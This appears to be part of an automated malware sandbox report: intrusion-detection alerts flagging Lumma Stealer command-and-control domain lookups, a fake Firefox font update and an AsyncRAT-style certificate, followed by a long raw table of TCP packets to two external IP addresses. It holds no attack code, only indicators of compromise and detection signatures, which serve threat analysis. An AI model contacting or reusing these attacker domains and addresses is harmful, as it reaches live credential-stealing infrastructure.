2025-01-15T10:18:40.713938+0100	2059189	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bloodyswif .lat)	1	192.168.11.20	50147	1.1.1.1	53	UDP
2025-01-15T10:18:40.821663+0100	2059211	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (washyceehsu .lat)	1	192.168.11.20	49219	1.1.1.1	53	UDP
2025-01-15T10:18:40.927416+0100	2059201	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leggelatez .lat)	1	192.168.11.20	53799	1.1.1.1	53	UDP
2025-01-15T10:18:41.034271+0100	2059203	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (miniatureyu .lat)	1	192.168.11.20	62757	1.1.1.1	53	UDP
2025-01-15T10:18:41.140323+0100	2059199	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (kickykiduz .lat)	1	192.168.11.20	50841	1.1.1.1	53	UDP
2025-01-15T10:18:41.243846+0100	2059207	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (savorraiykj .lat)	1	192.168.11.20	59050	1.1.1.1	53	UDP
2025-01-15T10:18:41.349146+0100	2059209	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shoefeatthe .lat)	1	192.168.11.20	63616	1.1.1.1	53	UDP
2025-01-15T10:18:41.453265+0100	2059191	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (finickypwk .lat)	1	192.168.11.20	50505	1.1.1.1	53	UDP
2025-01-15T10:18:41.878148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49773	23.47.27.74	443	TCP
2025-01-15T10:18:42.232242+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.11.20	49773	23.47.27.74	443	TCP
2025-01-15T10:18:46.835545+0100	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	92.255.57.112	56001	192.168.11.20	49774	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 10:18:36.060226917 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.060256958 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:36.060652018 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.079901934 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.079916000 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:36.814987898 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:36.815205097 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.846652985 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.846698046 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:36.846925974 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:36.847114086 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.848464012 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:36.890310049 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337528944 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337544918 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337657928 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337672949 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.337687016 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337793112 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.337805033 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.337908030 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.338047981 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.338814020 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.338876009 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.339004040 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.339091063 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.339191914 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.339720964 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.339720964 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:37.339735985 CET	443	49769	92.255.57.120	192.168.11.20
Jan 15, 2025 10:18:37.340002060 CET	49769	443	192.168.11.20	92.255.57.120
Jan 15, 2025 10:18:38.309593916 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.397594929 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.414387941 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.534847975 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.535145044 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.535353899 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.613953114 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.614690065 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.614690065 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.647859097 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.648091078 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.648339033 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.760771036 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.760791063 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.760967970 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761023045 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.761105061 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761184931 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761354923 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.761372089 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761393070 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761523008 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761600018 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.761694908 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.761694908 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.761713028 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.762037992 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.832935095 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833007097 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833159924 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833265066 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.833287001 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833339930 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833498955 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.833508015 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833599091 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833684921 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833686113 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.833821058 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.833837986 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.833921909 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.834136963 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.883505106 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.883801937 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.883821964 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.883970976 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884105921 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884160042 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884313107 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884433031 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884550095 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.884617090 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.885248899 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.885430098 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.986166000 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986187935 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986345053 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986536026 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986567020 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.986644983 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986774921 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986884117 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.986901999 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.986989975 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987076044 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.987111092 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987221003 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987242937 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.987306118 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987417936 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987534046 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987580061 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.987580061 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.987653017 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987816095 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.987930059 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.988049030 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.988085032 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.988162994 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.988254070 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.988300085 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.988342047 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:38.988421917 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:38.988591909 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.049678087 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.049789906 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.049839973 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.049982071 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.050059080 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050108910 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050260067 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050370932 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050483942 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050595045 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050708055 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050828934 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.050987005 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051060915 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051119089 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051119089 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051119089 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051119089 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051172018 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051214933 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051274061 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051343918 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051434040 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051532030 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051640034 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051704884 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.051752090 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.051865101 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.052881002 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.052881002 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.118865967 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.118952990 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119077921 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119261980 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.119273901 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119386911 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119513035 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119585991 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119594097 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.119693041 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119760990 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.119821072 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119920969 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.119925976 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.120040894 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120076895 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.120155096 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120306015 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120417118 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.120424986 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120568037 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120584011 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.120623112 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120735884 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120754957 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.120861053 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.120969057 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.121090889 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.121093988 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.121293068 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.211658955 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.211875916 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212001085 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212133884 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212250948 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212259054 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.212342978 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212426901 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.212466002 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212603092 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.212609053 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212644100 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212760925 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212877035 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.212939978 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.212992907 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213108063 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213110924 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.213284016 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.213305950 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213411093 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213453054 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.213502884 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213618040 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213737011 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213793993 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.213854074 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.213964939 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.214003086 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214049101 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214170933 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214288950 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214297056 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.214406967 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214466095 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.214529037 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214628935 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214636087 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.214754105 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214864969 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.214981079 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215146065 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.215161085 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215264082 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215312004 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.215367079 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215473890 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215490103 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.215617895 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215656996 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.215684891 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215815067 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.215816021 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.215930939 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.216032028 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.216141939 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.216145992 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.216269016 CET	80	49770	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.216316938 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.216481924 CET	49770	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.266314983 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.266403913 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.266520977 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.266573906 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.266645908 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.266783953 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.267184973 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.267433882 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.267549992 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.267612934 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.267673016 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.267745972 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.267858028 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.267863035 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268074989 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268104076 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268240929 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268331051 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268448114 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268452883 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.268501043 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.268549919 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.268584967 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268629074 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268759012 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.268798113 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.268898964 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.268914938 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269032001 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269109964 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269228935 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269231081 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.269401073 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269445896 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.269506931 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269617081 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269707918 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.269722939 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269845963 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.269886971 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.269937992 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270050049 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270098925 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.270226002 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270284891 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270370960 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.270392895 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270555019 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270606041 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.270669937 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270824909 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270863056 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.270875931 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.270992041 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.271056890 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.271138906 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.271214008 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.271322966 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.271332026 CET	80	49771	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.271529913 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.352714062 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.352823973 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.352936983 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353059053 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353096962 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.353173971 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353270054 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.353293896 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353408098 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353527069 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353604078 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353606939 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.353718042 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353779078 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.353825092 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.353945971 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.353965044 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354070902 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354150057 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:39.354294062 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:39.354294062 CET	49772	80	192.168.11.20	92.255.57.112
